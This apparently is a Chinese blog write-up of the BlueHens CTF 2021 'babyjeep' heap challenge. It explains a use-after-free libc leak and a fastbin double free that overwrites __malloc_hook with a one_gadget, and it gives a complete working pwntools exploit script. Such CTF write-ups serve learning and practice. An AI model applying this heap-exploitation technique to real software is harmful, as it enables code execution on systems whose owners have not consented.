BlueHens CTF 2021 --- babyjeep writeup

检查下保护机制:

 

看下程序逻辑:

逻辑相对明确,增删改查,增改放在一块

 

看下alloc函数,这不是库函数,是一个自己定义的函数

 看下delete函数:

没有置空指针,造成uaf,可以用来拿libc地址

然后libc-2.23下的double free 拿malloc_hook就可以了

注意one_gadget,由于条件rax或rsp等条件不满足,需要用realloc调栈

 

那么现在去拿libc地址,程序限制了申请的大小,我们无法直接拿到unsorted bin

不过堆址还是可以拿到的,于是构造堆溢出,改写下一个chunk的size,把它放到unsorted bin

堆块情况如图:

 

库函数_int_free里有检查:

/* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
    errstr = "double free or corruption (!prev)";
    goto errout;
      }

它会检查下一个chunk的inuse位,那我们就把这个inuse位伪造为1好了,但是很可惜,还是会报错

我跟踪了一下,大概是在这里报错:

r14=fake_next_chunk_addr
0x7f39e563c33e <_int_free+574> mov rax, qword ptr [r14 + 0x10]
0x7f39e563c342 <_int_free+578> mov rdx, qword ptr [r14 + 0x18]
0x7f39e563c346 <_int_free+582> cmp r14, qword ptr [rax + 0x18]

我就挨个去试(就是假chunk的下一个chunk的size域写为0x51还是0x41...),发现写0x51不报错

 

脚本如下:

add(1,0x60,'a'*0x10)
add(2,0x60,b'b'*0x48+p64(0x71))
add(3,0x60,'c'*0x10)
add(4,0x60,'d'*0x10)

delete(4)
delete(1)
delete(4)

add(5,0x60,"\xc0")
add(5,0x60,"d"*0x10)
add(5,0x60,b"e"*0x18+p64(0x51)) 
add(7,0x60,b'f'*0x18+p64(0x91))

delete(3)
show(3)
libc_base=u64(sh.recv(6)+b"\x00\x00")-0x68-libc.sym['__malloc_hook']
one=libc_base+gadgets[1]
sys=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']+8
info(hex(libc_base))

 

好了,现在有了libc基址,下一步就是拿malloc_hook,去写one_gadget

故技重施,double free

我们看下 one_gadget应当满足的条件:

需要 rax=0,或 [rsp+0x30]=0,或[rsp+0x70]=0

选择one_gadget2或one_gadget3,然后利用realloc去调栈

 

完整的利用脚本如下:

#coding:utf-8
from pwn import *
context.log_level="debug"

sh=process("./main")
#sh=gdb.debug("./main")
libc=ELF("./lib/libc.so.6")
gadgets=[0x3f416,0x3f46a,0xd5c37 ]

'''
sh=remote("challenges.ctfd.io",30040)
libc=ELF("./libc-2.23.so")
gadgets=[0x45226 ,0x4527a ,0xf0364 ,0xf1207 ]
'''

def add(idx,size,data):
    sh.sendlineafter(">","1")
    sh.sendlineafter("Index",str(idx))
    sh.sendlineafter("Size",str(size))
    sh.sendafter("Data",data)

def show(idx):
    sh.sendlineafter(">","2")
    sh.sendlineafter("Index\n",str(idx))
    
def delete(idx):
    sh.sendlineafter(">","3")
    sh.sendlineafter("Index",str(idx))
    

add(1,0x60,'a'*0x10)
add(2,0x60,b'b'*0x48+p64(0x71))
add(3,0x60,'c'*0x10)
add(4,0x60,'d'*0x10)

delete(4)
delete(1)
delete(4)

add(5,0x60,"\xc0")
add(5,0x60,"d"*0x10)
add(5,0x60,b"e"*0x18+p64(0x51)) 
add(7,0x60,b'f'*0x18+p64(0x91))


delete(3)
show(3)
libc_base=u64(sh.recv(6)+b"\x00\x00")-0x68-libc.sym['__malloc_hook']
one=libc_base+gadgets[1]
sys=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['realloc']+8
info(hex(libc_base))


delete(1)
delete(2)
delete(1)

add(5,0x60,p64(malloc_hook-0x23))
add(5,0x60,'g'*0x10)
add(5,0x60,'h'*0x10)
add(5,0x60,b'a'*11+p64(one)+p64(realloc))

sh.sendlineafter(">","1")
sh.sendlineafter("Index",str(2))
sh.sendlineafter("Size",str(0x30))

#pwnlib.gdb.attach(sh)
    
sh.interactive()

 

注意远程环境可能与本地不同,具体realloc加几,需要去试,唉,反正我是去试的

 

posted @ 2021-03-22 10:32  田埂  阅读(126)  评论(0编辑  收藏  举报